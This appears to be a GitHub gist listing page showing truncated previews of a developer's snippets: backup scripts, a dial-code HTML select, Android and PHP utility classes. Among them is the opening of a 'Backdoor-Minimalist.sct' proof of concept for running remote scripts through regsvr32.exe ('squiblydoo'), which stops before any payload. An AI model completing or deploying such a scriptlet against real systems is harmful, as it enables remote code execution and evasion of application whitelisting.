Skip to content

Instantly share code, notes, and snippets.

View laudarch's full-sized avatar
💭
focused mode activated

laudarch laudarch

💭
focused mode activated
View GitHub Profile
@laudarch
laudarch / backup-host.sh
Created August 12, 2016 11:47 — forked from dado-prateek/backup-host.sh
Backup with duplicity to yandex.disk
#!/bin/sh
# Duplicity wrapper
#
# add to crontab:
# 0 0 * * * /bin/sh /usr/local/sbin/backup-host.sh
set -e
PASSPHRASE="long_passphrase"
@laudarch
laudarch / postgres-backup.sh
Created August 12, 2016 11:48 — forked from dado-prateek/postgres-backup.sh
Backup postgres users dbs to email
#!/bin/bash
export PATH=$PATH:/usr/bin:/usr/sbin
export RECIPIENTS='example@mail.org, example2@mail.org'
export FROM='admin'
# Setup passwords in /root/.pgpass
export BACKUP_USERS='django postgres'
@laudarch
laudarch / html_for_international_calling coes.htm
Created December 25, 2016 16:36 — forked from andyj/html_for_international_calling coes.htm
HTML <select> international calling codes for each country
<!-- country codes (ISO 3166) and Dial codes. -->
<select name="countryCode" id="">
<option data-countryCode="GB" value="44" Selected>UK (+44)</option>
<option data-countryCode="US" value="1">USA (+1)</option>
<optgroup label="Other countries">
<option data-countryCode="DZ" value="213">Algeria (+213)</option>
<option data-countryCode="AD" value="376">Andorra (+376)</option>
<option data-countryCode="AO" value="244">Angola (+244)</option>
<option data-countryCode="AI" value="1264">Anguilla (+1264)</option>
<option data-countryCode="AG" value="1268">Antigua &amp; Barbuda (+1268)</option>
@laudarch
laudarch / Backdoor-Minimalist.sct
Created December 27, 2016 09:02
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[
package laudarch.utils;
import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
@laudarch
laudarch / PrefUtils.java
Created March 27, 2017 06:24
Make using preferences in android easier
package laudarch.utils;
import android.content.Context;
import android.preference.PreferenceManager;
/**
* Created by laudarch on 10/29/16.
*/
@SuppressWarnings("unused")
public class PrefUtils {
@laudarch
laudarch / ParseJSONHack.java
Created March 27, 2017 06:26
Quick and dirty JSON parser with no dependencies in java
package laudarch.utils;
/**
* Created by laudarch on 16/12/13.
*/
public class ParseJSONHack {
public static String getValue(String name, String json) {
String ret = null;
@laudarch
laudarch / EncryptionUtils.java
Created March 27, 2017 06:28
Encryption/Decryption utils for android
package laudarch.utils;
import java.io.IOException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
/**
* Created by laudarch on 16/12/13.
*/
<?php
namespace lib;
class Authy {
// API key
private $api_key = '';
private $api_url = 'https://api.authy.com/protected/json/';
@laudarch
laudarch / memoryhog
Created March 10, 2018 17:06
Show applications consuming more merory in linux
#!/bin/bash
ps wwaux | awk '{print $4 " " $11};' | sort -rn | head -n 10